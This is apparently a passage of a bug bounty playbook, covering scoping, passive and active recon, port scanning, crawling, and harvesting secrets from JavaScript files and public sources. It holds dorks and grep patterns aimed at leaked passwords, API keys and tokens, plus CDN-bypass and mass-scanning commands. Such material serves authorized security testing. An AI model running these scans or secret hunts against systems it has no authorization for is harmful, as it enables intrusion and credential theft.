ELITE BUG BOUNTY

MASTER RECON & EXPLOITATION METHODOLOGY

Zero to Bounty — Complete Playbook

Covering 30+ Vulnerability Classes · 100+ Tools · Full Installation & Usage

Phase 0 → Scope Analysis | Phase 9 → Reporting & Bounty Collection

⚠ For authorized security testing and bug bounty programs only. Always respect scope.

HOW TO USE THIS DOCUMENT

This methodology is structured in 9 sequential Phases that mirror a real bug bounty engagement lifecycle. Each phase must be completed before moving to the next, but you will iterate — especially between Phases 3-6 as new assets are discovered. Follow this flow:

```
Phase 0 → Program Selection & Rules of Engagement
Phase 1 → Passive Recon & OSINT (zero noise)
Phase 2 → Active Enumeration & Asset Discovery
Phase 3 → Fingerprinting, Tech Stack & Service Analysis
Phase 4 → Deep URL, API & Parameter Discovery
Phase 5 → Automated Vulnerability Scanning
Phase 6 → Manual Exploitation (30+ vuln classes)
Phase 7 → Post-Exploitation & Impact Demonstration
Phase 8 → Cloud, Mobile & Thick Client Testing
Phase 9 → Report Writing & Bounty Collection
```

◆Priority Triage Reference — Test These First

Asset / Pattern	Priority	Why It Matters
`admin.* / internal.* / dev.* / staging.*`	CRITICAL	Test immediately — high likelihood of weak auth, info disclosure
`api.* / gateway.* / graphql.*`	CRITICAL	Auth bypass, injection, over-privileged endpoints
`*.s3.amazonaws.com / storage.* / cdn.*`	HIGH	Bucket misconfig, unauth file access
`login / signup / reset / oauth / SSO`	HIGH	Account takeover, token leaks, IDOR
`upload / file / import / download / media`	HIGH	File upload bypass, path traversal, LFI
`?id= ?user= ?file= ?url= ?path=`	HIGH	IDOR, SSRF, LFI, SQLi, RCE
`search / query / q= / keyword=`	MEDIUM	SQLi, XSS, SSTI
`redirect= / return= / next= / goto=`	MEDIUM	Open redirect, SSRF
`static.* / assets.* / cdn.*`	LOW	Usually out-of-scope, check for JS secrets

PHASE 0 — PROGRAM SELECTION & RULES OF ENGAGEMENT

Before a single tool runs — read the scope, understand the rules, configure your environment

0.1 — Choosing the Right Program

- Target HackerOne, Bugcrowd, Intigriti, YesWeHack, Synack, Immunefi (Web3)
- Start with private programs (invite-only) — less competition, more receptive triagers
- Filter by: wide scope wildcards (*.target.com), VRT severity allows, no 'informational only' cap
- Check response time SLA and average bounty amounts before investing time
- Read ALL disclosed reports for the program — understand what has been found and what hasn't

0.2 — Scope Analysis & Asset Mapping

Map every in-scope asset explicitly before running a single tool. Out-of-scope testing = disqualification.

```
# Record scope in a structured file
cat > scope.txt << 'EOF'
WILDCARD:   *.target.com
EXPLICIT:   api.target.com, admin.target.com
IP_RANGES:  10.0.0.0/8 (if in scope)
OOS:        blog.target.com, status.target.com
EOF

# Use Hacker-Scoper to auto-filter your results to scope
# Install: pip install hacker-scoper
cat all_subdomains.txt | hacker-scoper -p 'hackerone:target' > in_scope.txt
```

0.3 — API Keys & Tool Configuration

Configure all API keys BEFORE starting. Missing keys = missing data.

```
# ~/.config/subfinder/provider-config.yaml
virustotal: [YOUR_VT_KEY]
shodan: [YOUR_SHODAN_KEY]
censys: [YOUR_CENSYS_ID:SECRET]
chaos: [YOUR_CHAOS_KEY]
github: [YOUR_GITHUB_TOKEN]
securitytrails: [YOUR_ST_KEY]
binaryedge: [YOUR_BE_KEY]
hunter: [YOUR_HUNTER_KEY]

# ~/.config/amass/config.yaml — add all data source API keys
# Export for CLI tools
export GITHUB_TOKEN=ghp_xxxx
export SHODAN_API_KEY=xxxx
export PDCP_API_KEY=xxxx   # For Chaos
```

0.4 — Environment Setup

```
# Create project directory structure
mkdir -p ~/bounty/TARGET/{recon/{subs,ips,urls,js,params},scans,vulns,reports,loot}
```

```
cd ~/bounty/TARGET

# Install core toolkit (Ubuntu/Debian)
sudo apt update && sudo apt install -y nmap masscan curl jq python3-pip git golang

# Go tools (set GOPATH)
export GOPATH=$HOME/go && export PATH=$PATH:$GOPATH/bin

# Install all ProjectDiscovery tools at once
go install -v github.com/projectdiscovery/pdtm/cmd/pdtm@latest
pdtm -install-all  # installs subfinder, httpx, nuclei, katana, dnsx, naabu, etc.
```

PHASE 1 — PASSIVE RECON & OSINT

Maximum intelligence, zero noise — no packets touch the target yet

1.1 — Passive Subdomain Enumeration

Run ALL sources simultaneously. Each source reveals different subdomains. API keys are mandatory.

1.1.1 — Core Passive Tools

```
# ── subfinder (best passive tool — 50+ sources) ──────────────────
# Install: go install -v
github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
subfinder -d target.com -all -recursive -silent -o recon/subs/subfinder.txt
subfinder -dL domains.txt -all -recursive -silent -o recon/subs/subfinder_multi.txt

# ── assetfinder ──────────────────────────────────────────────────
# Install: go install github.com/tomnomnom/assetfinder@latest
assetfinder --subs-only target.com > recon/subs/assetfinder.txt

# ── findomain ────────────────────────────────────────────────────
# Install: https://github.com/Findomain/Findomain/releases
findomain -t target.com -u recon/subs/findomain.txt

# ── chaos (ProjectDiscovery dataset) ─────────────────────────────
# Install: go install github.com/projectdiscovery/chaos-client/cmd/chaos@latest
chaos -d target.com -silent -o recon/subs/chaos.txt

# ── amass passive ────────────────────────────────────────────────
# Install: go install -v github.com/owasp-amass/amass/v4/...@master
amass enum -passive -d target.com -o recon/subs/amass_passive.txt

# ── bbot (recursive all-in-one) ──────────────────────────────────
# Install: pip install bbot --break-system-packages
bbot -t target.com -f subdomain-enum -o recon/subs/bbot/

# ── subdominator (50+ passive sources) ───────────────────────────
# Install: pip install git+https://github.com/RevoltSecurities/Subdominator
subdominator -d target.com -o recon/subs/subdominator.txt

# ── haktrails (SecurityTrails API) ───────────────────────────────
# Install: go install github.com/hakluke/haktrails@latest
echo 'target.com' | haktrails subdomains > recon/subs/haktrails.txt
```

1.1.2 — Certificate Transparency (crt.sh)

```
# Correct crt.sh query (handles wildcards properly)
curl -s 'https://crt.sh/?q=%.target.com&output=json' \
  | jq -r '.[].name_value' \
  | sed 's/\*\.//g' \
  | tr ',' '\n' \
  | grep -oE '[A-Za-z0-9._-]+\.target\.com' \
  | sort -u > recon/subs/crtsh.txt

# censys-subdomain-finder (TLS cert enumeration)
# Install: pip install censys
python3 -m censys.cli search 'parsed.names: target.com' --fields 'parsed.names' \
```

```
  | jq -r '.[] | .parsed.names[]' | grep target.com > recon/subs/censys.txt

# tlsx — scrape SANs from live TLS certs
# Install: go install github.com/projectdiscovery/tlsx/cmd/tlsx@latest
tlsx -l recon/ips/ip_ranges.txt -san -cn -silent | grep target.com >>
recon/subs/tlsx.txt
```

1.1.3 — GitHub / GitLab Subdomain Scraping

```
# github-subdomains
# Install: go install github.com/gwen001/github-subdomains@latest
github-subdomains -d target.com -t $GITHUB_TOKEN -o recon/subs/github_subs.txt

# gitlab-subdomains
# Install: go install github.com/gwen001/gitlab-subdomains@latest
gitlab-subdomains -d target.com -t $GITLAB_TOKEN -o recon/subs/gitlab_subs.txt

# GitDorker — secrets AND subdomains from GitHub
# Install: git clone https://github.com/obheda12/GitDorker
python3 GitDorker/GitDorker.py -tf $GITHUB_TOKEN -q target.com \
  -d GitDorker/Dorks/BHEH_subdomain_dorks.txt -o recon/subs/gitdorker.txt
```

1.1.4 — OSINT & Passive APIs

```
# Wayback Machine historical subdomains
curl -s
'http://web.archive.org/cdx/search/cdx?url=*.target.com/*&output=text&fl=original&collaps
e=urlkey' \
  | sed -e 's_https*://__' -e 's/\/.*//' -e 's/:.*//' \
  | grep '\.target\.com$' | sort -u > recon/subs/wayback_subs.txt

# VirusTotal subdomain siblings
curl -s
'https://www.virustotal.com/vtapi/v2/domain/report?apikey=VT_KEY&domain=target.com' \
  | jq -r '.subdomains[]' 2>/dev/null > recon/subs/virustotal.txt

# OTX AlienVault
curl -s 'https://otx.alienvault.com/api/v1/indicators/domain/target.com/passive_dns' \
  | jq -r '.passive_dns[].hostname' | grep target.com > recon/subs/otx.txt

# URLScan.io
curl -s 'https://urlscan.io/api/v1/search/?q=domain:target.com&size=10000' \
  | jq -r '.results[].page.domain' | sort -u > recon/subs/urlscan.txt

# HackerTarget passive DNS
curl -s 'https://api.hackertarget.com/hostsearch/?q=target.com' \
  | cut -d',' -f1 > recon/subs/hackertarget.txt

# Shodan subdomain search
# Install: pip install shodan --break-system-packages
shodan domain target.com | awk '{print $3}' > recon/subs/shodan_subs.txt

# shosubgo
# Install: go install github.com/incogbyte/shosubgo@latest
shosubgo -d target.com -s $SHODAN_API_KEY >> recon/subs/shodan_subs.txt

# CommonCrawl
curl -s 'https://index.commoncrawl.org/CC-MAIN-2024-10-
index?url=*.target.com&output=json' \
```

```
  | jq -r '.url' | sed -e 's_https*://__' -e 's/\/.*//g' | sort -u >
recon/subs/commoncrawl.txt

# CSP Recon (Content-Security-Policy header reveals domains)
# Install: go install github.com/edoardottt/csprecon/cmd/csprecon@latest
echo 'target.com' | csprecon > recon/subs/csp_domains.txt

# related-domains (same registrant)
# Install: go install github.com/gwen001/related-domains@latest
related-domains -d target.com > recon/subs/related.txt
```

1.2 — ASN & IP Infrastructure Mapping

```
# Step 1: Find ASNs via bgp.he.net (manual check) or asnmap
# Install asnmap: go install github.com/projectdiscovery/asnmap/cmd/asnmap@latest
asnmap -d target.com -silent | tee recon/ips/asn.txt
asnmap -a AS12345 -silent | dnsx -silent -resp-only | tee recon/ips/asn_ips.txt

# Amass Intel — map full org infrastructure
amass intel -org 'Target Company' -o recon/ips/amass_intel.txt
amass intel -active -cidr 1.2.3.0/24 -o recon/ips/cidr_assets.txt

# whois CIDR lookup
whois -h whois.radb.net -- '-i origin AS12345' | grep 'route:' | awk '{print $2}'

# uncover — search exposed hosts across Shodan/Censys/Fofa/Hunter simultaneously
# Install: go install github.com/projectdiscovery/uncover/cmd/uncover@latest
uncover -q 'ssl:target.com' -e shodan,censys,fofa -silent > recon/ips/uncover.txt
uncover -q 'org:"Target Company"' -e shodan -f ip -silent >> recon/ips/uncover.txt

# Reverse DNS on CIDR ranges
# Install hakrevdns: go install github.com/hakluke/hakrevdns@latest
echo '1.2.3.0/24' | mapcidr -silent | hakrevdns -d | tee recon/ips/rdns.txt

# hakip2host — reverse IP to domain
# Install: go install github.com/hakluke/hakip2host@latest
cat recon/ips/asn_ips.txt | hakip2host | grep target.com >>
recon/subs/rdns_subs.txt

# Shodan CIDR search for services
shodan search 'net:1.2.3.0/24' --fields ip_str,port,org | tee
recon/ips/shodan_cidr.txt

# nrich — quickly analyze IPs for open ports/vulns
# Install: https://gitlab.com/shodan-public/nrich
cat recon/ips/asn_ips.txt | nrich - > recon/ips/nrich_analysis.txt
```

1.3 — Google Dorks & OSINT

```
# Core Google Dorks (run manually in browser)
site:*.target.com -www
site:target.com ext:php OR ext:asp OR ext:aspx OR ext:jsp OR ext:env OR ext:sql OR
ext:log OR ext:bak
site:target.com inurl:admin OR inurl:dashboard OR inurl:internal OR inurl:dev
site:target.com intitle:"index of" OR intitle:"directory listing"
site:target.com intext:"sql syntax" OR intext:"mysql_fetch" OR intext:"ORA-"
"target.com" ext:yaml OR ext:json OR ext:xml filetype:env
inurl:target.com inurl:token OR inurl:apikey OR inurl:secret
```

```
# Google Sheets leaks
site:docs.google.com/spreadsheets "target.com"
site:docs.google.com/spreadsheets "@target.com" "password"

# Pastebin / code leaks
site:pastebin.com "target.com" password
site:gist.github.com "target.com" api_key
site:trello.com "target.com"

# GitDorker automated GitHub dorking
python3 GitDorker/GitDorker.py -tf $GITHUB_TOKEN -q target.com \
  -d GitDorker/Dorks/medium_dorks.txt -o recon/loot/github_dorks.txt

# Use https://github.com/Proviesec/github-dorks for more dork lists
```

1.4 — Secret Discovery from Public Sources

```
# TruffleHog — scan GitHub org for verified secrets
# Install: pip install trufflehog --break-system-packages
trufflehog github --org=TargetOrg --results=verified -j >
recon/loot/trufflehog_org.json
trufflehog git https://github.com/TargetOrg/repo --results=verified

# Scan a single JS file or directory
trufflehog filesystem ./js_downloads/ --json > recon/loot/trufflehog_fs.json

# Backup File Artifacts Checker
# Install: pip install bfac --break-system-packages
bfac --url https://target.com --detection-technique all --level 3 --exclude-status-
codes 404,500
```

PHASE 2 — ACTIVE ENUMERATION & ASSET DISCOVERY

DNS bruteforce, live host detection, port scanning, virtual host discovery

2.1 — Merge & Deduplicate All Passive Results

```
# Combine all passive subdomain files
# Install anew: go install github.com/tomnomnom/anew@latest
cat recon/subs/*.txt | sort -u | anew | tee recon/subs/all_passive.txt
wc -l recon/subs/all_passive.txt  # Know your count
```

2.2 — DNS Bruteforce & Permutation

```
# ── puredns (fastest, accurate wildcard filtering) ──────────────────
# Install: go install github.com/d3mondev/puredns/v2@latest
# Get fresh resolvers:
wget -q https://raw.githubusercontent.com/trickest/resolvers/main/resolvers.txt
wget -q https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-
trusted.txt

# Bruteforce with puredns (use best-dns-wordlist for maximum coverage)
puredns bruteforce /usr/share/wordlists/seclists/Discovery/DNS/best-dns-
wordlist.txt \
  target.com -r resolvers.txt -w recon/subs/puredns_bf.txt

# ── dnsx (fast DNS resolution + wildcard detection) ─────────────────
# Install via pdtm or: go install github.com/projectdiscovery/dnsx/cmd/dnsx@latest
cat recon/subs/all_passive.txt | dnsx -silent -resp -a -aaaa -cname \
  -r resolvers-trusted.txt | tee recon/subs/dnsx_resolved.txt

# ── Permutation with alterx ─────────────────────────────────────────
# Install: go install github.com/projectdiscovery/alterx/cmd/alterx@latest
cat recon/subs/dnsx_resolved.txt | alterx -enrich | dnsx -silent \
  >> recon/subs/permutation.txt

# Custom wordlist-based permutation
cat recon/subs/dnsx_resolved.txt | alterx \
  -pp word=/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  | dnsx -silent >> recon/subs/permutation.txt

# ── massdns (raw high-speed resolver) ───────────────────────────────
# Install: git clone https://github.com/blechschmidt/massdns && cd massdns && make
./massdns/bin/massdns -r resolvers.txt -t A -o S \
  recon/subs/all_passive.txt > recon/subs/massdns_raw.txt

# ── shuffledns (massdns wrapper with wildcard handling) ─────────────
# Install: go install github.com/projectdiscovery/shuffledns/cmd/shuffledns@latest
shuffledns -d target.com -list recon/subs/all_passive.txt \
  -r resolvers.txt -o recon/subs/shuffledns.txt

# ── amass active (brute + cert) ─────────────────────────────────────
amass enum -active -d target.com \
  -brute -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
  -o recon/subs/amass_active.txt

# MERGE all active results
```

```
cat recon/subs/puredns_bf.txt recon/subs/permutation.txt recon/subs/shuffledns.txt
\
  recon/subs/amass_active.txt | sort -u | anew recon/subs/all_subs.txt
echo '[*] Total unique subdomains:' $(wc -l < recon/subs/all subs.txt)
```

2.3 — Subdomain Fuzzing (FFUF)

```
# Standard subdomain fuzzing
ffuf -u 'https://FUZZ.target.com' -w /usr/share/seclists/Discovery/DNS/bitquark-
subdomains-top100000.txt \
  -mc 200,301,302,403 -t 50 -rate 100 -o recon/subs/ffuf_subs.json

# Pattern fuzzing (dev-WORD, WORD-staging, etc.)
ffuf -u 'https://FUZZ-target.com' -w subdomains.txt -mc 200,301,302 -t 50
ffuf -u 'https://target-FUZZ.com' -w subdomains.txt -mc 200,301,302 -t 50
ffuf -u 'https://dev.FUZZ.target.com' -w subdomains.txt -mc 200,301,302 -t 50
```

2.4 — Virtual Host Enumeration (Hidden Vhosts)

Virtual hosts serve different content based on the Host header — exposing internal apps on public IPs.

```
# Install ffuf: go install github.com/ffuf/ffuf/v2@latest

# VHost fuzzing against IP directly
ffuf -u 'https://IP_OF_TARGET' \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H 'Host: FUZZ.target.com' -mc 200,301,302,403 -t 50

# VHost fuzzing against known subdomain
ffuf -u 'https://target.com' \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H 'Host: FUZZ.target.com' -fs SIZE_TO_FILTER -t 50

# VHostScan
# Install: git clone https://github.com/codingo/VHostScan && cd VHostScan && pip
install .
VHostScan -t target.com -w subdomains.txt --ignore-http-codes 404

# Add discovered vhosts to /etc/hosts for testing
echo '1.2.3.4 internal.target.com dev.target.com' | sudo tee -a /etc/hosts
```

2.5 — Live Host Detection & Fingerprinting

```
# httpx — probe all subs on multiple ports with rich metadata
# Install via pdtm or: go install
github.com/projectdiscovery/httpx/cmd/httpx@latest
cat recon/subs/all_subs.txt | httpx \
  -ports 80,443,8080,8000,8888,8443,3000,8081,9000,4443,4000,5000,7443 \
  -status-code -content-length -web-server -title -tech-detect \
  -follow-redirects -threads 200 -rate-limit 150 \
  -o recon/subs/alive.txt

# Separate 403 hosts (bypass targets) and 200 hosts
grep ' [403] ' recon/subs/alive.txt > recon/subs/forbidden.txt
grep ' [200] ' recon/subs/alive.txt > recon/subs/alive_200.txt

# wafw00f — detect WAF type (critical for bypass strategy)
```

```
# Install: pip install wafw00f --break-system-packages
cat recon/subs/alive.txt | awk '{print $1}' | wafw00f -i - -o recon/scans/waf.txt

# cdncheck — identify CDN (Cloudflare/Akamai/etc.)
# Install: go install github.com/projectdiscovery/cdncheck/cmd/cdncheck@latest
cat recon/subs/alive.txt | awk '{print $1}' | cdncheck -resp > recon/scans/cdn.txt

# Technology fingerprinting with webanalyze
# Install: go install github.com/rverton/webanalyze/cmd/webanalyze@latest
webanalyze -hosts recon/subs/alive.txt -output json > recon/scans/tech.json

# whatweb — deep tech fingerprint
# Install: gem install whatweb
cat recon/subs/alive.txt | awk '{print $1}' | xargs -P 10 -I@ whatweb @ \
  --log-json=recon/scans/whatweb.json
```

2.6 — Visual Reconnaissance (Screenshots)

```
# gowitness — best modern screenshot tool
# Install: go install github.com/sensepost/gowitness@latest
gowitness scan file -f recon/subs/alive.txt --screenshot-path
recon/scans/screenshots/ \
  --write-db --threads 20
gowitness report serve  # Start web UI to review screenshots

# EyeWitness — screenshots + default cred checks
# Install: cd /opt && git clone https://github.com/FortyNorthSecurity/EyeWitness
python3 /opt/EyeWitness/Python/EyeWitness.py -f recon/subs/alive.txt \
  --web --timeout 10 --threads 20 -d recon/scans/eyewitness/

# aquatone — visual overview
# Install: https://github.com/michenriksen/aquatone/releases
cat recon/subs/alive.txt | aquatone \
  -ports 80,443,8080,8443,3000,9000 -out recon/scans/aquatone/
```

2.7 — Port Scanning

```
# Step 1: FAST — masscan full port sweep on all IPs
# Install: sudo apt install masscan
sudo masscan -p1-65535 -iL recon/ips/asn_ips.txt --rate 100000 \
  -oG recon/scans/masscan_raw.txt

# Step 2: RustScan for speed + Nmap for depth
# Install: https://github.com/RustScan/RustScan/releases
rustscan -a recon/ips/asn_ips.txt --range 1-65535 --ulimit 5000 \
  -- -sV -sC -O -oA recon/scans/nmap_full

# Step 3: naabu + nmap combo (ProjectDiscovery way)
# Install via pdtm
naabu -list recon/ips/asn_ips.txt -p - -rate 2000 \
  -nmap-cli 'nmap -sV -sC -T4' -o recon/scans/naabu_nmap.txt

# Focus on interesting non-standard ports found
nmap -iL recon/subs/alive.txt -p 21,22,23,25,3306,5432,27017,6379,9200,5601,11211 \
  -sV --open -T4 -oA recon/scans/nmap_services

# fingerprintx — identify service behind open port
# Install: go install github.com/praetorian-
inc/fingerprintx/cmd/fingerprintx@latest
```

```
cat recon/scans/masscan_raw.txt | grep 'open' | awk '{print $4":"$3}' \
  | sed 's|/tcp||' | fingerprintx > recon/scans/services.txt
```

2.8 — Origin IP Discovery (Bypass CDN/Cloudflare)

```
# Install originiphunter:
# go install github.com/rix4uni/originiphunter@latest
# nano ~/.config/originiphunter/config.yaml  # add API keys
cat recon/subs/all_subs.txt | originiphunter > recon/ips/origin_ips.txt

# SecurityTrails historical DNS (find pre-CDN IPs)
# https://securitytrails.com/domain/target.com/history/a

# Censys — search by cert SAN for origin IPs
uncover -q 'ssl:\"target.com\"' -e censys -f ip -silent >
recon/ips/censys_origin.txt

# Test discovered origin IPs directly
cat recon/ips/origin_ips.txt | httpx -H 'Host: target.com' -mc 200 -title -server

# Shodan cert search for origin
shodan search 'ssl.cert.subject.cn:target.com 200' --fields ip_str \
  | httpx -H 'Host: target.com' -title -sc
```

PHASE 3 — FINGERPRINTING & TECHNOLOGY ANALYSIS

Know your target before you attack it — wrong tools on wrong stacks waste time

3.1 — Technology Stack Identification

```
# wappalyzer CLI
# Install: npm install -g wappalyzer
wappalyzer https://target.com --json > recon/scans/wappalyzer.json

# whatweb detailed scan
whatweb -a 4 https://target.com --log-json=recon/scans/whatweb_detailed.json

# httpx tech-detect on all alive hosts
cat recon/subs/alive.txt | httpx -tech-detect -json | jq '.tech[]' | sort | uniq -c
| sort -rn

# Filter by tech for targeted scanning
grep -i 'WordPress' recon/scans/tech.json | awk -F'url' '{print $2}' | cut -d'"' -
f3 > recon/subs/wordpress.txt
grep -i 'PHP' recon/scans/tech.json | awk -F'url' '{print $2}' | cut -d'"' -f3 >
recon/subs/php_hosts.txt
grep -Ei 'asp|aspx' recon/scans/tech.json | awk -F'url' '{print $2}' | cut -d'"' -
f3 > recon/subs/asp_hosts.txt
```

3.2 — CMS-Specific Recon

```
# ── WordPress ──────────────────────────────────────────────────
# Install: gem install wpscan
wpscan --url https://target.com --api-token $WPSCAN_TOKEN \
  -e at,ap,u --plugins-detection aggressive --force \
  --random-agent -o recon/scans/wpscan.txt

# ── Drupal ─────────────────────────────────────────────────────
# Install: git clone https://github.com/immunIT/drupwn && pip install drupwn
drupwn enum https://target.com

# ── Joomla ─────────────────────────────────────────────────────
# Install: https://github.com/rezasp/joomscan
perl joomscan.pl -u https://target.com

# ── Generic CMS detect + nuclei CMS templates ──────────────────
nuclei -l recon/subs/wordpress.txt -tags wordpress -severity medium,high,critical
nuclei -l recon/subs/alive.txt -tags cms,misconfig -severity medium,high,critical
```

3.3 — API Type Detection

```
# GraphQL detection
# Install graphw00f: pip install graphw00f --break-system-packages
graphw00f -d -f recon/subs/alive.txt -o recon/scans/graphql_engines.txt

# Quick GraphQL endpoint probe
cat recon/subs/alive.txt | httpx \
  -path '/graphql,/api/graphql,/__graphql,/v1/graphql,/query,/gql' \
```

```
  -mc 200,400 -ms 'query' -silent | tee recon/scans/graphql_endpoints.txt

# OpenAPI/Swagger discovery
cat recon/subs/alive.txt | httpx \
  -path '/swagger.json,/openapi.json,/api-docs,/swagger-
ui.html,/v1/swagger.json,/api/v1/openapi.json,/docs' \
  -mc 200 -silent | tee recon/scans/swagger_endpoints.txt

# gRPC detection (port 50051 usually)
nmap -p 50051 --script grpc-detect -iL recon/ips/asn_ips.txt
```

PHASE 4 — DEEP URL, API & PARAMETER DISCOVERY

Find every endpoint, every parameter — this is where most vulnerabilities hide

4.1 — Historical URL Collection (Passive)

```
# waybackurls
# Install: go install github.com/tomnomnom/waybackurls@latest
cat recon/subs/alive.txt | waybackurls > recon/urls/wayback.txt

# gau (GetAllUrls — Wayback + OTX + CommonCrawl)
# Install: go install github.com/lc/gau/v2/cmd/gau@latest
cat recon/subs/alive.txt | gau --threads 10 --mc 200,301,302,403 \
  --blacklist ttf,woff,svg,png,jpg,gif,css > recon/urls/gau.txt

# gauplus (enhanced gau)
# Install: go install github.com/bp0lr/gauplus@latest
cat recon/subs/alive.txt | gauplus -t 200 -random-agent > recon/urls/gauplus.txt

# waymore (comprehensive historical URLs)
# Install: pip install waymore --break-system-packages
waymore -i recon/subs/alive.txt -mode U -l 1000 -from 2020 -oU
recon/urls/waymore.txt

# urlfinder
# Install: go install github.com/projectdiscovery/urlfinder/cmd/urlfinder@latest
urlfinder -d target.com -silent > recon/urls/urlfinder.txt
```

4.2 — Active Crawling

```
# katana — best modern crawler (JS-aware, headless support)
# Install via pdtm or: go install
github.com/projectdiscovery/katana/cmd/katana@latest
katana -list recon/subs/alive.txt \
  -depth 5 -jc -kf all -headless -aff -fx \
  -fs rdn -f url -silent \
  -o recon/urls/katana.txt

# Authenticated crawl (pass session cookie)
katana -list recon/subs/alive.txt -d 5 -jc \
  -H 'Cookie: session=YOUR_AUTH_COOKIE' -o recon/urls/katana_auth.txt

# hakrawler
# Install: go install github.com/hakluke/hakrawler@latest
cat recon/subs/alive.txt | hakrawler -subs -u -insecure -t 20 >
recon/urls/hakrawler.txt

# gospider
# Install: go install github.com/jaeles-project/gospider@latest
gospider -S recon/subs/alive.txt -t 20 -d 3 --js --sitemap --robots \
  -o recon/urls/gospider/

# paramspider (focused parameter discovery)
# Install: git clone https://github.com/devanshbatham/ParamSpider && pip install -r
requirements.txt
paramspider -d target.com -o recon/params/paramspider.txt
```

```
# MERGE all URL sources
cat recon/urls/*.txt | sort -u | anew | tee recon/urls/ALL_URLS.txt
echo '[*] Total URLs:' $(wc -l < recon/urls/ALL_URLS.txt)
```

4.3 — URL Filtering & Classification

```
# Filter live URLs only
cat recon/urls/ALL_URLS.txt | httpx -mc 200,301,302,403 -silent -threads 100 \
  > recon/urls/live_urls.txt

# urinteresting — find interesting endpoints
# Install: go install github.com/tomnomnom/hacks/urinteresting@latest
cat recon/urls/ALL_URLS.txt | urinteresting > recon/urls/interesting.txt

# urldedupe — remove duplicate parameterized URLs
# Install: go install github.com/ameenmaali/urldedupe@latest
cat recon/urls/ALL_URLS.txt | urldedupe > recon/urls/deduped.txt

# ── Classify by type ──────────────────────────────────────
cat recon/urls/ALL_URLS.txt | grep -iE '\.js(\?|$)' | grep -iv '\.json' | sort -u >
recon/urls/js_files.txt
cat recon/urls/ALL_URLS.txt | grep -iE '\.(json|xml|graphql|gql)(\?|$)' >
recon/urls/api_endpoints.txt
cat recon/urls/ALL_URLS.txt | grep -iE '\.(php|asp|aspx|jsp|cfm|cgi)(\?|$)' >
recon/urls/backend.txt
cat recon/urls/ALL_URLS.txt | grep -Ei 'login|signin|auth|oauth|reset|password' >
recon/urls/login_flows.txt
cat recon/urls/ALL_URLS.txt | grep -Ei 'upload|file|download|image|media|import' >
recon/urls/uploads.txt
cat recon/urls/ALL_URLS.txt | grep -Ei
'admin|dashboard|internal|manage|config|panel' > recon/urls/admin_panels.txt
cat recon/urls/ALL_URLS.txt | grep '=' > recon/params/param_urls.txt
cat recon/urls/ALL_URLS.txt | grep -Ei '[0-9]{4,}' > recon/params/idor_targets.txt
cat recon/urls/ALL_URLS.txt | grep -Ei
'aws|s3|bucket|azure|gcp|token|apikey|secret' > recon/loot/cloud_leaks.txt
cat recon/urls/ALL_URLS.txt | grep -Ei
'webhook|callback|fetch|proxy|redirect|ssrf|url=|uri=' >
recon/params/ssrf_candidates.txt
cat recon/urls/ALL_URLS.txt | grep -Ei
'\.xls|\.xlsx|\.sql|\.bak|\.zip|\.env|\.log|\.config|\.pem|\.key' >
recon/loot/sensitive_files.txt
```

4.4 — GF Pattern-Based Filtering

```
# Install gf: go install github.com/tomnomnom/gf@latest
# Install GF-Patterns: git clone https://github.com/1ndianl33t/Gf-Patterns ~/.gf
# Also: git clone https://github.com/coffinxp/GFpattren && cp GFpattren/*.json
~/.gf/

cat recon/params/param_urls.txt | gf sqli | anew > recon/params/sqli.txt
cat recon/params/param_urls.txt | gf xss  | anew > recon/params/xss.txt
cat recon/params/param_urls.txt | gf lfi  | anew > recon/params/lfi.txt
cat recon/params/param_urls.txt | gf ssrf | anew > recon/params/ssrf.txt
cat recon/params/param_urls.txt | gf redirect | anew >
recon/params/open_redirect.txt
cat recon/params/param_urls.txt | gf rce  | anew > recon/params/rce.txt
cat recon/params/param_urls.txt | gf idor | anew > recon/params/idor.txt
cat recon/params/param_urls.txt | gf ssti | anew > recon/params/ssti.txt
```

4.5 — JavaScript Analysis & Secret Extraction

```
# Download all JS files for local analysis
cat recon/urls/js_files.txt | httpx -mc 200 -silent | xargs -P 20 -I@ \
  bash -c 'curl -sk @ -o recon/js/$(echo @ | md5sum | cut -d" " -f1).js'

# LinkFinder — extract endpoints from JS
# Install: git clone https://github.com/GerbenJavado/LinkFinder && pip install -r
requirements.txt
cat recon/urls/js_files.txt | xargs -I@ -P 10 \
  python3 LinkFinder/linkfinder.py -i @ -o cli 2>/dev/null | tee
recon/urls/js_endpoints.txt

# SecretFinder — extract secrets from JS
# Install: git clone https://github.com/m4ll0k/SecretFinder && pip install -r
requirements.txt
cat recon/urls/js_files.txt | xargs -I@ -P 5 \
  python3 SecretFinder/SecretFinder.py -i @ -o cli | tee recon/loot/js_secrets.txt

# subjs — extract new URLs from JS files
# Install: go install github.com/lc/subjs@latest
cat recon/urls/ALL_URLS.txt | subjs | anew >> recon/urls/js_endpoints.txt

# mantra — find secrets in JS
# Install: go install github.com/MrEmpy/mantra@latest
cat recon/urls/js_files.txt | mantra | tee -a recon/loot/js_secrets.txt

# jsleak — comprehensive JS analysis
# Install: go install github.com/channyein1337/jsleak@latest
cat recon/urls/js_files.txt | xargs -P 20 -I{} jsleak -s -l -k -e {} >>
recon/loot/jsleak.txt

# jsecret
# Install: go install github.com/m4ll0k/jsecret@latest
cat recon/urls/js_files.txt | jsecret | tee -a recon/loot/js_secrets.txt

# lazyegg — extract JS URLs, domains, IPs
# Install: git clone https://github.com/schooldropout1337/lazyegg
cat recon/urls/js_files.txt | xargs -I{} \
  python3 lazyegg/lazyegg.py {} --js_urls --domains --ips > recon/loot/lazyegg.txt

# Nuclei on JS files for exposure templates
nuclei -l recon/urls/js_files.txt -t nuclei-templates/http/exposures/ -c 30 \
  -o recon/loot/nuclei_js.txt

# DOM XSS sinks in downloaded JS
cat recon/js/*.js | grep -E
'(document\.(location|URL|cookie|domain|referrer)|innerHTML|outerHTML|eval\(|document\.wr
ite\()' \
  | tee recon/loot/dom_sinks.txt

# Grep for secrets
grep -rE 'aws_access_key|aws_secret|api[_-
]?key|apikey|token|secret|password|passwd|credential|Authorization|firebase|heroku|slack_
token' \
  recon/js/ | tee recon/loot/grep_secrets.txt
```

4.6 — Hidden Parameter Discovery

```
# arjun — best parameter miner
# Install: pip install arjun --break-system-packages
```

```
# Passive discovery (uses Wayback/DCT)
